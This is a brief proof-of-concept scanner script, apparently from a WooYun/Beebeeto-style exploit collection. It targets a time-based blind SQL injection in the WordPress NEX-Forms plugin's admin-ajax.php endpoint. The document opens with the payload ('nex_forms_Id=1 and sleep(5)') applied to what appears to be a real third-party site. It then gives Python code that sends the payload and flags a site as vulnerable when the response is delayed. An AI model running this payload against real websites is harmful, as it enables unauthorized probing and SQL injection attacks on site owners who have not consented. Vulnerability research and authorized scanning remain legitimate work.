WooYun.org

http://yunzao.cn/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=1%20and%20sleep(5)

# !/usr/bin/dev python # -*- coding:utf-8 -*- """ referer: http://www.beebeeto.com/pdb/poc-2015-0089/ https://www.exploit-db.com/exploits/36800/ """ import time def assign(service, args): if service == 'wordpress': return True, args def audit(args): verify_url = args payload = 'wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=1%20and%20sleep(5)' start_time = time.time() code, head, res, _, _ = curl.curl('%s%s' % (verify_url, payload)) if code == 200 and time.time() - start_time > 4: security_hole(verify_url + payload) pass if __name__ == "__main__": from dummy import * audit(assign('wordpress', 'http://www.example.com/')[1])